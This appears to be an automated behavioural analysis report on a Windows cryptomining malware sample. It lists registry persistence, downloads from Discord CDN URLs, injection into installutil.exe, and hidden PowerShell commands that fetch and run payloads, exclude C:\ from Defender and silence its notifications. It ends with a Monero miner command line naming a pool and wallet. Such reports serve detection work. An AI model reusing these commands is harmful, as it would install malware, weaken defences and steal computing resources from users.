Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Service64' = '%APPDATA%\Services\Service64.exe'
Malicious functions
Downloads
- https://cdn.discordapp.com/attachments/883751354722553927/884533101953433700/processhacker.exe as (join-path -path $env:temp -childpath processhacker.exe
- https://cdn.discordapp.com/attachments/883751354722553927/884529531346641006/service64.exe as (join-path -path $env:temp -childpath service64.exe
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\installutil.exe
Modifies file system
Creates the following files
- %TEMP%\dd7a836f-719d-4f20-a28b-31abe6b60570\agiledotnetrt64.dll
- %TEMP%\processhacker.exe
- %TEMP%\service64.exe
- %TEMP%\0542b14a-d85e-4957-82e1-e197e1427cab\agiledotnetrt64.dll
- %APPDATA%\services\service64.exe
Network activity
Connects to
- 'cd#.##scordapp.com':443
- 'ht##bin.org':443
- 'x.##2.us':80
- 'di##ord.com':443
TCP
HTTP GET requests
- http://x.##2.us/x.cer
Other
- 'cd#.##scordapp.com':443
- 'ht##bin.org':443
- 'di##ord.com':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK ht##bin.org
- DNS ASK x.##2.us
- DNS ASK di##ord.com
Miscellaneous
Searches for the following windows
- ClassName: 'ProcessHacker' WindowName: ''
Creates and executes the following
- '%TEMP%\processhacker.exe'
- '%TEMP%\service64.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Service64';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Service64' ...
- '<SYSTEM32>\cmd.exe' /c powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/883751354722553927/884533101953433700/ProcessHacker.exe', (Join-Path -Path $env:Temp -ChildP...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\installutil.exe' --algo rx/0 --donate-level 0 --max-cpu-usage 25 -o xmr.2miners.com:2222 -u 43mVHPCpWKXPwGx5RHyKJwVwRDR6ja1mY13TNV3MKCj5KgYBMEBNqDmZDhKbWq2KMdT7fMWwMsVEt5cGds6gc7H97MJXbJH.rig-1' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/883751354722553927/884533101953433700/ProcessHacker.exe', (Join-Path -Path $env:Temp -ChildP...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'ProcessHacker.exe')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Service64.exe')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications' -Name DisableNotifications -Value 1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -PUAProtection 1
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\installutil.exe' --algo rx/0 --donate-level 0 --max-cpu-usage 25 -o xmr.2miners.com:2222 -u 43mVHPCpWKXPwGx5RHyKJwVwRDR6ja1mY13TNV3MKCj5KgYBMEBNqDmZDhKbWq2KMdT7fMWwMsVEt5cGds6gc7H97MJXbJH.rig-1
